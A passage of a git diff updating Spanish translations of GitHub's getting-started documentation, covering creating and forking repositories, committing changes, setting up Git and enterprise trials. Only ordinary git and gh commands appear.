+Para el caso de los debates de equipo, puedes editarlos o borrarlos en la página del equipo y puedes configurar las notificaciones para estos. Para obtener más información, consulta [Acerca de los debates del equipo](/organizations/collaborating-with-your-team/about-team-discussions)".
diff --git a/translations/es-ES/content/get-started/quickstart/contributing-to-projects.md b/translations/es-ES/content/get-started/quickstart/contributing-to-projects.md
index 08f227ee56..7cf24fcb6a 100644
--- a/translations/es-ES/content/get-started/quickstart/contributing-to-projects.md
+++ b/translations/es-ES/content/get-started/quickstart/contributing-to-projects.md
@@ -34,7 +34,6 @@ You've successfully forked the Spoon-Knife repository, but so far, it only exist
 
 You can clone your fork with the command line, {% data variables.product.prodname_cli %}, or {% data variables.product.prodname_desktop %}.
 
-{% include tool-switcher %}
 {% webui %}
 
 1. En {% data variables.product.product_name %}, dirígete a **tu bifurcación** del repositorio Spoon-Knife.
@@ -86,7 +85,6 @@ Go ahead and make a few changes to the project using your favorite text editor,
 
 When you're ready to submit your changes, stage and commit your changes. `git add .` tells Git that you want to include all of your changes in the next commit. `git commit` takes a snapshot of those changes.
 
-{% include tool-switcher %}
 {% webui %}
 
 ```shell
@@ -115,7 +113,6 @@ When you stage and commit files, you essentially tell Git, "Okay, take a snapsho
 
 Right now, your changes only exist locally. When you're ready to push your changes up to {% data variables.product.product_name %}, push your changes to the remote.
 
-{% include tool-switcher %}
 {% webui %}
 
 ```shell
diff --git a/translations/es-ES/content/get-started/quickstart/create-a-repo.md b/translations/es-ES/content/get-started/quickstart/create-a-repo.md
index d3b24b7e93..1ac9fcb6c1 100644
--- a/translations/es-ES/content/get-started/quickstart/create-a-repo.md
+++ b/translations/es-ES/content/get-started/quickstart/create-a-repo.md
@@ -1,11 +1,11 @@
 ---
-title: Create a repo
+title: Crear un repositorio
 redirect_from:
   - /create-a-repo
   - /articles/create-a-repo
   - /github/getting-started-with-github/create-a-repo
   - /github/getting-started-with-github/quickstart/create-a-repo
-intro: 'To put your project up on {% data variables.product.prodname_dotcom %}, you''ll need to create a repository for it to live in.'
+intro: 'Para subir tu proyecto a {% data variables.product.prodname_dotcom %}, deberás crear un repositorio donde alojarlo.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -17,15 +17,16 @@ topics:
   - Notifications
   - Accounts
 ---
-## Create a repository
+
+## Crear un repositorio
 
 {% ifversion fpt or ghec %}
 
-You can store a variety of projects in {% data variables.product.prodname_dotcom %} repositories, including open source projects. With [open source projects](http://opensource.org/about), you can share code to make better, more reliable software. You can use repositories to collaborate with others and track your work. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)."
+Puedes almacenar distintos proyectos en los repositorios de {% data variables.product.prodname_dotcom %}, incluso proyectos de código abierto. Con [proyectos de código abierto](http://opensource.org/about), puedes compartir el código para hacer que el software funcione mejor y sea más confiable. Puedes utilizar los repositorios para colaborar con otros y rastrear tu trabajo. Para obtener más información, consulta la sección "[Acerca de los repositorios](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)".
 
 {% elsif ghes or ghae %}
 
-You can store a variety of projects in {% data variables.product.product_name %} repositories, including innersource projects. With innersource, you can share code to make better, more reliable software. For more information on innersource, see {% data variables.product.company_short %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+Puedes almacenar varios proyectos en los repositorios de {% data variables.product.product_name %}, incluyendo los proyectos de innersource. Con innersource, puedes compartir el código para hacer software mejor y más confiable. Para obtener más información sobre innersource, consulta la documentación técnica de {% data variables.product.company_short %}"[Una introducción a innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)".
 
 {% endif %}
 
@@ -33,26 +34,22 @@ You can store a variety of projects in {% data variables.product.product_name %}
 
 {% note %}
 
-**Note:** You can create public repositories for an open source project. When creating your public repository, make sure to include a [license file](https://choosealicense.com/) that determines how you want your project to be shared with others. {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %}
+**Nota:** Puedes crear repositorios públicos para un proyecto de código abierto. Cuando crees un repositorio público, asegúrate de incluir un [archivo de licencia](https://choosealicense.com/) que determine cómo deseas que se comparta tu proyecto con otros usuarios. {% data reusables.open-source.open-source-guide-repositories %}{% data reusables.open-source.open-source-learning-lab %}
 
 {% endnote %}
 
 {% endif %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.create_new %}
-2. Type a short, memorable name for your repository. For example, "hello-world".
-  ![Field for entering a repository name](/assets/images/help/repository/create-repository-name.png)
-3. Optionally, add a description of your repository. For example, "My first repository on {% data variables.product.product_name %}."
-  ![Field for entering a repository description](/assets/images/help/repository/create-repository-desc.png)
+2. Escribe un nombre corto y fácil de recordar para tu repositorio. Por ejemplo: "hola-mundo". ![Campo para ingresar un nombre para el repositorio](/assets/images/help/repository/create-repository-name.png)
+3. También puedes agregar una descripción de tu repositorio. Por ejemplo, "Mi primer repositorio en {% data variables.product.product_name %}". ![Campo para ingresar una descripción para el repositorio](/assets/images/help/repository/create-repository-desc.png)
 {% data reusables.repositories.choose-repo-visibility %}
 {% data reusables.repositories.initialize-with-readme %}
 {% data reusables.repositories.create-repo %}
 
-Congratulations! You've successfully created your first repository, and initialized it with a *README* file.
+¡Felicitaciones! Has creado correctamente tu primer repositorio y lo has inicializado con un archivo *README*.
 
 {% endwebui %}
 
@@ -60,33 +57,28 @@ Congratulations! You've successfully created your first repository, and initiali
 
 {% data reusables.cli.cli-learn-more %}
 
-1. In the command line, navigate to the directory where you would like to create a local clone of your new project.
-2. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`. 
-3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory.  
-4. Alternatively, to skip the prompts supply the repository name and a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create project-name --public`. To clone the repository locally, pass the `--clone` flag.  For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create).
+1. En la línea de comandos, navega al directorio en donde te gustaría crear un clon local de tu proyecto nuevo.
+2. Para crear un repositorio de tu proyecto, utiliza el subcomando `gh repo create`. Cuando se te indique, selecciona **Crear un repositorio nuevo en GitHub desde cero** e ingresa el nombre de tu nuevo proyecto. Si quieres que tu proyecto pertenezca a una organización en vez de a tu cuenta de usuario, especifica el nombre de la organización y del proyecto con `organization-name/project-name`.
+3. Sigue los mensajes interactivos. Para clonar el repositorio localmente, confirma que sí cuando se te pregunte si quisieras clonar el directorio remoto del proyecto.
+4. Como alternativa, para saltar las indicaciones, proporciona el nombre del repositorio y un marcador de visibilidad (`--public`, `--private` o `--internal`). Por ejemplo, `gh repo create project-name --public`. Para clonar el repositorio localmente, pasa el marcador `--clone`.  Para obtener más información sobre los argumentos posibles, consulta el [manual del CLI de GitHub](https://cli.github.com/manual/gh_repo_create).
 
 {% endcli %}
 
-## Commit your first change
-
-{% include tool-switcher %}
+## Confirma tu primer cambio
 
 {% webui %}
 
-A *[commit](/articles/github-glossary#commit)* is like a snapshot of all the files in your project at a particular point in time.
+Una *[confirmación](/articles/github-glossary#commit)* es como una instantánea de todos los archivos de tu proyecto en un momento en particular.
 
-When you created your new repository, you initialized it with a *README* file. *README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository.
+Cuando creaste tu nuevo repositorio, lo inicializaste con un archivo *README*. Los archivos *README* son un lugar ideal para describir tu proyecto en más detalle o agregar documentación, como la forma en que se debe instalar o usar tu proyecto. El contenido de tu archivo *README* se mostrará automáticamente en la página inicial de tu repositorio.
 
-Let's commit a change to the *README* file.
+Confirmemos un cambio en el archivo *README*.
 
-1. In your repository's list of files, click ***README.md***.
-  ![README file in file list](/assets/images/help/repository/create-commit-open-readme.png)
-2. Above the file's content, click {% octicon "pencil" aria-label="The edit icon" %}.
-3. On the **Edit file** tab, type some information about yourself.
-  ![New content in file](/assets/images/help/repository/edit-readme-light.png)
+1. Es la lista de archivos de tu repositorio, haz clic en ***README.md***. ![Archivo README en la lista de archivos](/assets/images/help/repository/create-commit-open-readme.png)
+2. En el contenido del archivo, haz clic en {% octicon "pencil" aria-label="The edit icon" %}.
+3. En la pestaña **Editar archivo**, escribe alguna información sobre ti. ![Nuevo contenido en el archivo](/assets/images/help/repository/edit-readme-light.png)
 {% data reusables.files.preview_change %}
-5. Review the changes you made to the file. You'll see the new content in green.
-  ![File preview view](/assets/images/help/repository/create-commit-review.png)
+5. Revisa los cambios que realizaste en el archivo. Verás el contenido nuevo en verde. ![Vista previa del archivo](/assets/images/help/repository/create-commit-review.png)
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
@@ -95,18 +87,18 @@ Let's commit a change to the *README* file.
 
 {% cli %}
 
-Now that you have created a project, you can start committing changes.
+Ahora que creaste un proyecto, puedes comenzar a confirmar cambios.
 
-*README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. Follow these steps to add a *README* file.
+Los archivos *README* son un lugar ideal para describir tu proyecto en más detalle o agregar documentación, como la forma en que se debe instalar o usar tu proyecto. El contenido de tu archivo *README* se mostrará automáticamente en la página inicial de tu repositorio. Sigue estos pasos para agregar un archivo *README*.
 
-1. In the command line, navigate to the root directory of your new project. (This directory was created when you ran the `gh repo create` command.)
-1. Create a *README* file with some information about the project.
+1. En la línea de comandos, navega al directorio raíz de tu proyecto nuevo. (Este directorio se creó cuando ejecutas el comando `gh repo create`).
+1. Crea un archivo *README* con algo de información sobre el proyecto.
 
     ```shell
     echo "info about this project" >> README.md
     ```
 
-1. Enter `git status`. You will see that you have an untracked `README.md` file.
+1. Ingresa `git status`. Verás que tienes un archivo `README.md` sin rastrear.
 
     ```shell
     $ git status
@@ -118,13 +110,13 @@ Now that you have created a project, you can start committing changes.
     nothing added to commit but untracked files present (use "git add" to track)
     ```
 
-1. Stage and commit the file.
+1. Prueba y confirma el archivo.
 
     ```shell
     git add README.md && git commit -m "Add README"
     ```
 
-1. Push the changes to your branch.
+1. Sube los cambios a tu rama.
 
     ```shell
     git push --set-upstream origin HEAD
@@ -132,18 +124,18 @@ Now that you have created a project, you can start committing changes.
 
 {% endcli %}
 
-## Celebrate
+## Celebrar
 
-Congratulations! You have now created a repository, including a *README* file, and created your first commit on {% data variables.product.product_location %}.
+¡Felicitaciones! Has creado un repositorio, además de un archivo *README*, y has creado tu primera confirmación en {% data variables.product.product_location %}.
 
 {% webui %}
 
-You can now clone a {% data variables.product.prodname_dotcom %} repository to create a local copy on your computer. From your local repository you can commit, and create a pull request to update the changes in the upstream repository. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)" and "[Set up Git](/articles/set-up-git)."
+Ahora puedes clonar un repositorio de {% data variables.product.prodname_dotcom %} para crear una copia local en tu computadora. Desde tu repositorio local, puedes confirmar y crear una solicitud de cambios para actualizar los cambios en el repositorio de nivel superior. Para obtener más información, consulta las secciones "[Clonar un repositorio](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)" y "[Configurar Git](/articles/set-up-git)".
 
 {% endwebui %}
 
-You can find interesting projects and repositories on {% data variables.product.prodname_dotcom %} and make changes to them by creating a fork of the repository. For more information see, "[Fork a repository](/articles/fork-a-repo)."
+Puedes encontrar proyectos y repositorios interesantes en {% data variables.product.prodname_dotcom %} y hacerles cambios creando una bifurcación del repositorio. Para obtener más información, consulta la sección "[Bifurcar un repositorio](/articles/fork-a-repo)".
 
-Each repository in {% data variables.product.prodname_dotcom %} is owned by a person or an organization. You can interact with the people, repositories, and organizations by connecting and following them on {% data variables.product.prodname_dotcom %}. For more information see "[Be social](/articles/be-social)."
+Cada repositorio en {% data variables.product.prodname_dotcom %} pertenece a una persona u organización. Puedes interactuar con las personas, repositorios y organizaciones conectándote y siguiéndolos en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Sé sociable ](/articles/be-social)".
 
 {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/es-ES/content/get-started/quickstart/fork-a-repo.md b/translations/es-ES/content/get-started/quickstart/fork-a-repo.md
index c9fa67d1cb..145314eb1f 100644
--- a/translations/es-ES/content/get-started/quickstart/fork-a-repo.md
+++ b/translations/es-ES/content/get-started/quickstart/fork-a-repo.md
@@ -51,7 +51,6 @@ If you haven't yet, you should first [set up Git](/articles/set-up-git). Don't f
 
 ## Forking a repository
 
-{% include tool-switcher %}
 {% webui %}
 
 You might fork a project to propose changes to the upstream, or original, repository. In this case, it's good practice to regularly sync your fork with the upstream repository. To do this, you'll need to use Git on the command line. You can practice setting the upstream repository using the same [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository you just forked.
@@ -87,7 +86,6 @@ gh repo fork <em>repository</em> --org "octo-org"
 
 Right now, you have a fork of the Spoon-Knife repository, but you don't have the files in that repository locally on your computer.
 
-{% include tool-switcher %}
 {% webui %}
 
 1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to **your fork** of the Spoon-Knife repository.
@@ -137,7 +135,6 @@ gh repo fork <em>repository</em> --clone=true
 
 When you fork a project in order to propose changes to the original repository, you can configure Git to pull changes from the original, or upstream, repository into the local clone of your fork.
 
-{% include tool-switcher %}
 {% webui %}
 
 1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository.
diff --git a/translations/es-ES/content/get-started/quickstart/github-flow.md b/translations/es-ES/content/get-started/quickstart/github-flow.md
index 0ae27c4179..e555ed5d9f 100644
--- a/translations/es-ES/content/get-started/quickstart/github-flow.md
+++ b/translations/es-ES/content/get-started/quickstart/github-flow.md
@@ -24,7 +24,7 @@ miniTocMaxHeadingLevel: 3
 
 ## Prerequisites
 
-To follow {% data variables.product.prodname_dotcom %} flow, you will need {% data variables.product.prodname_dotcom %} account and a repository. For information on how to create an account, see "[Signing up for {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-github)." For information on how to create a repository, see "[Create a repo](/github/getting-started-with-github/create-a-repo)."{% ifversion fpt or ghec %} For information on how to find an existing repository to contribute to, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %}
+To follow {% data variables.product.prodname_dotcom %} flow, you will need a {% data variables.product.prodname_dotcom %} account and a repository. For information on how to create an account, see "[Signing up for {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-github)." For information on how to create a repository, see "[Create a repo](/github/getting-started-with-github/create-a-repo)."{% ifversion fpt or ghec %} For information on how to find an existing repository to contribute to, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %}
 
 ## Following {% data variables.product.prodname_dotcom %} flow
 
diff --git a/translations/es-ES/content/get-started/quickstart/index.md b/translations/es-ES/content/get-started/quickstart/index.md
index cfc4b9e48c..aa47144b8f 100644
--- a/translations/es-ES/content/get-started/quickstart/index.md
+++ b/translations/es-ES/content/get-started/quickstart/index.md
@@ -1,6 +1,6 @@
 ---
-title: Quickstart
-intro: 'Get started using {% data variables.product.product_name %} to manage Git repositories and collaborate with others.'
+title: Inicio Rápido
+intro: 'Comenzar a usar {% data variables.product.product_name %} para administrar los repositorios de Git y colaborar con otros.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/es-ES/content/get-started/quickstart/set-up-git.md b/translations/es-ES/content/get-started/quickstart/set-up-git.md
index 2b916a6abb..f6f849cca2 100644
--- a/translations/es-ES/content/get-started/quickstart/set-up-git.md
+++ b/translations/es-ES/content/get-started/quickstart/set-up-git.md
@@ -1,5 +1,5 @@
 ---
-title: Set up Git
+title: Configurar Git
 redirect_from:
   - /git-installation-redirect
   - /linux-git-installation
@@ -12,7 +12,7 @@ redirect_from:
   - /articles/set-up-git
   - /github/getting-started-with-github/set-up-git
   - /github/getting-started-with-github/quickstart/set-up-git
-intro: 'At the heart of {% data variables.product.prodname_dotcom %} is an open source version control system (VCS) called Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer.'
+intro: 'En el centro de {% data variables.product.prodname_dotcom %} hay un sistema de control de versión de código abierto (VCS) llamado Git. Git es responsable de todo lo relacionado con {% data variables.product.prodname_dotcom %} que suceda de forma local en tu computadora.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -24,49 +24,60 @@ topics:
   - Notifications
   - Accounts
 ---
-## Using Git
 
-To use Git on the command line, you'll need to download, install, and configure Git on your computer. You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.prodname_dotcom %} from the command line. For more information, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+## Utilizar GitHub
 
-If you want to work with Git locally, but don't want to use the command line, you can instead download and install the [{% data variables.product.prodname_desktop %}]({% data variables.product.desktop_link %}) client.  For more information, see "[Installing and configuring {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/)."
+Para usar Git en la línea de comando, deberás descargar, instalar y configurar Git en tu computadora. También puedes instalar el {% data variables.product.prodname_cli %} para utilizar {% data variables.product.prodname_dotcom %} desde la línea de comandos. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)".
 
-If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete many Git-related actions directly in the browser, including:
+Si deseas trabajar con Git de forma local, pero no deseas utilizar la línea de comando, puedes descargar e instalar en su lugar el cliente [{% data variables.product.prodname_desktop %}]({% data variables.product.desktop_link %}).  Para obtener más información, consulta la sección "[Instalar y configurar {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/)".
 
-- [Creating a repository](/articles/create-a-repo)
-- [Forking a repository](/articles/fork-a-repo)
-- [Managing files](/repositories/working-with-files/managing-files)
-- [Being social](/articles/be-social)
+Si no deseas trabajar con archivos de forma local, {% data variables.product.product_name %} te permite realizar muchas acciones relacionadas con Git de forma directa en el navegador, lo que incluye:
 
-## Setting up Git
+- [Crear un repositorio](/articles/create-a-repo)
+- [Bifurcar un repositorio](/articles/fork-a-repo)
+- [Administrar archivos](/repositories/working-with-files/managing-files)
+- [Socializar](/articles/be-social)
 
-1. [Download and install the latest version of Git](https://git-scm.com/downloads).
-2. [Set your username in Git](/github/getting-started-with-github/setting-your-username-in-git).
-3. [Set your commit email address in Git](/articles/setting-your-commit-email-address).
+## Configurar Git
 
-## Next steps: Authenticating with {% data variables.product.prodname_dotcom %} from Git
-
-When you connect to a {% data variables.product.prodname_dotcom %} repository from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH.
+1. [Descarga e instala la última versión de Git](https://git-scm.com/downloads).
 
 {% note %}
 
-**Note:** You can authenticate to {% data variables.product.product_name %} using {% data variables.product.prodname_cli %}, for either HTTP or SSH. For more information, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
+**Note**: If you are using a Chrome OS device, additional set up is required:
+
+1. Install a terminal emulator such as Termux from the Google Play Store on your Chrome OS device.
+2. From the terminal emulator that you installed, install Git. For example, in Termux, enter `apt install git` and then type `y` when prompted.
 
 {% endnote %}
 
-### Connecting over HTTPS (recommended)
+2. [Configura tu nombre de usuario en Git](/github/getting-started-with-github/setting-your-username-in-git).
+3. [Configura tu dirección de correo electrónico de confirmación en Git](/articles/setting-your-commit-email-address).
 
-If you [clone with HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), you can [cache your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git) using a credential helper.
+## Pasos siguientes: Autenticación con {% data variables.product.prodname_dotcom %} desde Git
 
-### Connecting over SSH
+Cuando te conectas a un repositorio {% data variables.product.prodname_dotcom %} desde Git, deberás autenticarte con {% data variables.product.product_name %} utilizando HTTPS o SSH.
 
-If you [clone with SSH](/github/getting-started-with-github/about-remote-repositories/#cloning-with-ssh-urls), you must [generate SSH keys](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) on each computer you use to push or pull from {% data variables.product.product_name %}.
+{% note %}
 
-## Celebrate
+**Nota:** Puedes autenticarte en {% data variables.product.product_name %} utilizando el {% data variables.product.prodname_cli %} ya sea para HTTP o SSH. Para obtener más información, consulta [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
 
-Congratulations, you now have Git and {% data variables.product.prodname_dotcom %} all set up! You may now choose to create a repository where you can put your projects. This is a great way to back up your code and makes it easy to share the code around the world. For more information see "[Create a repository](/articles/create-a-repo)".
+{% endnote %}
 
-You can create a copy of a repository by forking it and propose the changes that you want to see without affecting the upstream repository. For more information see "[Fork a repository](/articles/fork-a-repo)."
+### Conectar por HTTPS (recomendado)
 
-Each repository on {% data variables.product.prodname_dotcom %} is owned by a person or an organization. You can interact with the people, repositories, and organizations by connecting and following them on {% data variables.product.product_name %}. For more information see "[Be social](/articles/be-social)."
+Si [clonas con HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), puedes [almacenar tus credenciales de {% data variables.product.prodname_dotcom %} en el caché dentro de Git](/github/getting-started-with-github/caching-your-github-credentials-in-git) utilizando un asistente de credenciales.
+
+### Conectar por SSH
+
+Si clonas [con SSH](/github/getting-started-with-github/about-remote-repositories/#cloning-with-ssh-urls), debes [generar las claves de SSH](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) en cada computadora que utilices para subir o extraer desde {% data variables.product.product_name %}.
+
+## Celebrar
+
+¡Felicitaciones, ahora tienes configurado todo Git y {% data variables.product.prodname_dotcom %}! Ahora puedes elegir crear un repositorio en donde puedas poner tus proyectos. Esta es una forma excelente de respaldar tu código y facilita compartirlo en todo el mundo. Para obtener más información, consulta "[Crear un repositorio](/articles/create-a-repo)".
+
+Puedes crear una copia de un repositorio si la bifurcas y propones los cambios que quieres ver si afectar al repositorio de nivel superior. Para obtener más información, consulta "[Bifurcar un repositorio](/articles/fork-a-repo)."
+
+Cada repositorio de {% data variables.product.prodname_dotcom %} le pertenece a una persona u organización. Puedes interactuar con las personas, repositorios y organizaciones conectándote y siguiéndolos en {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Sé sociable ](/articles/be-social)".
 
 {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/es-ES/content/get-started/signing-up-for-github/index.md b/translations/es-ES/content/get-started/signing-up-for-github/index.md
index 5b9a0d3fcd..069f1da6d6 100644
--- a/translations/es-ES/content/get-started/signing-up-for-github/index.md
+++ b/translations/es-ES/content/get-started/signing-up-for-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Signing up for GitHub
-intro: 'Start using {% data variables.product.prodname_dotcom %} for yourself or your team.'
+title: Registrarse en GitHub
+intro: 'Comienza a utilizar {% data variables.product.prodname_dotcom %} para ti mismo o para tu equipo.'
 redirect_from:
   - /articles/signing-up-for-github
   - /github/getting-started-with-github/signing-up-for-github
diff --git a/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md b/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md
index 2f1cf8bcf2..b5b5202043 100644
--- a/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md
+++ b/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md
@@ -1,6 +1,6 @@
 ---
 title: Setting up a trial of GitHub AE
-intro: 'You can try {% data variables.product.prodname_ghe_managed %} for free.'
+intro: 'Puedes probar {% data variables.product.prodname_ghe_managed %} de manera gratuita.'
 versions:
   ghae: '*'
 topics:
@@ -10,12 +10,12 @@ shortTitle: GitHub AE trial
 
 ## About the {% data variables.product.prodname_ghe_managed %} trial
 
-You can set up a 90-day trial to evaluate {% data variables.product.prodname_ghe_managed %}. This process allows you to deploy a {% data variables.product.prodname_ghe_managed %} account in your existing Azure region. 
+Puedes configurar un periodo de 90 días para evaluar {% data variables.product.prodname_ghe_managed %}. This process allows you to deploy a {% data variables.product.prodname_ghe_managed %} account in your existing Azure region.
 
 - **{% data variables.product.prodname_ghe_managed %} account**: The Azure resource that contains the required components, including the instance.
 - **{% data variables.product.prodname_ghe_managed %} portal**: The Azure management tool at [https://portal.azure.com](https://portal.azure.com). This is used to deploy the {% data variables.product.prodname_ghe_managed %} account.
 
-## Setting up your trial of {% data variables.product.prodname_ghe_managed %}
+## Configurar tu prueba de {% data variables.product.prodname_ghe_managed %}
 
 
 Before you can start your trial of {% data variables.product.prodname_ghe_managed %}, you must request access by contacting your {% data variables.product.prodname_dotcom %} account team. {% data variables.product.prodname_dotcom %} will enable the {% data variables.product.prodname_ghe_managed %} trial for your Azure subscription.
@@ -26,18 +26,16 @@ Contact {% data variables.contact.contact_enterprise_sales %} to check your elig
 
 The {% data variables.actions.azure_portal %} allows you to deploy the {% data variables.product.prodname_ghe_managed %} account in your Azure resource group.
 
-1. On the {% data variables.actions.azure_portal %}, type `GitHub AE` in the search field. Then, under _Services_, click {% data variables.product.prodname_ghe_managed %}.
-    ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-search.png)
+1. On the {% data variables.actions.azure_portal %}, type `GitHub AE` in the search field. Then, under _Services_, click {% data variables.product.prodname_ghe_managed %}. ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-search.png)
 1. To begin the process of adding a new {% data variables.product.prodname_ghe_managed %} account, click **Create GitHub AE account**.
-1. Complete the "Project details" and "Instance details" fields.
-    ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-form.png)
+1. Complete the "Project details" and "Instance details" fields. ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-form.png)
     - **Account name:** The hostname for your enterprise
     - **Administrator username:** A username for the initial enterprise owner that will be created in {% data variables.product.prodname_ghe_managed %}
     - **Administrator email:** The email address that will receive the login information
 1. To review a summary of the proposed changes, click **Review + create**.
 1. After the validation process has completed, click **Create**.
 
-The email address you entered above will receive instructions on how to access your enterprise. After you have access, you can get started by following the initial setup steps. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)."
+The email address you entered above will receive instructions on how to access your enterprise. After you have access, you can get started by following the initial setup steps. Para obtener más información, consulta la sección "[Inicializar {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)".
 
 {% note %}
 
@@ -50,20 +48,19 @@ The email address you entered above will receive instructions on how to access y
 You can use the {% data variables.actions.azure_portal %} to navigate to your {% data variables.product.prodname_ghe_managed %} instance. The resulting list includes all the {% data variables.product.prodname_ghe_managed %} instances in your Azure region.
 
 1. On the {% data variables.actions.azure_portal %}, in the left panel, click **All resources**.
-1. From the available filters, click **All types**, then deselect **Select all** and select **GitHub AE**:
-    ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-type-filter.png)
+1. From the available filters, click **All types**, then deselect **Select all** and select **GitHub AE**: ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-type-filter.png)
 
-## Next steps
+## Pasos siguientes
 
-Once your instance has been provisioned, the next step is to initialize {% data variables.product.prodname_ghe_managed %}. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae)."
+Once your instance has been provisioned, the next step is to initialize {% data variables.product.prodname_ghe_managed %}. Para obtener más información, consulta la sección "[Inicializar {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae)".
 
-## Finishing your trial
+## Finalizar tu prueba
 
 You can upgrade to a full license at any time during the trial period by contacting contact {% data variables.contact.contact_enterprise_sales %}. If you haven't upgraded by the last day of your trial, then the instance is automatically deleted.
 
-If you need more time to evaluate {% data variables.product.prodname_ghe_managed %}, contact {% data variables.contact.contact_enterprise_sales %} to request an extension.
+Si necesitas más tiempo para evaluar {% data variables.product.prodname_ghe_managed %}, contacta a {% data variables.contact.contact_enterprise_sales %} para solicitar una extensión.
 
-## Further reading 
+## Leer más
 
 - "[Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.prodname_ghe_managed %}](/github/getting-started-with-github/about-github-advanced-security#enabling-advanced-security-features-on-github-ae)"
 - "[{% data variables.product.prodname_ghe_managed %} release notes](/github-ae@latest/admin/overview/github-ae-release-notes)" 
diff --git a/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md b/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md
index cfe1727e12..f5c9633c79 100644
--- a/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md
+++ b/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md
@@ -19,12 +19,18 @@ shortTitle: Enterprise Cloud trial
 
 ## About {% data variables.product.prodname_ghe_cloud %}
 
-{% data reusables.organizations.about-organizations %}
+{% data variables.product.prodname_ghe_cloud %} is a plan for large businesses or teams who collaborate on {% data variables.product.prodname_dotcom_the_website %}.
+
+{% data reusables.organizations.about-organizations %} For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
 
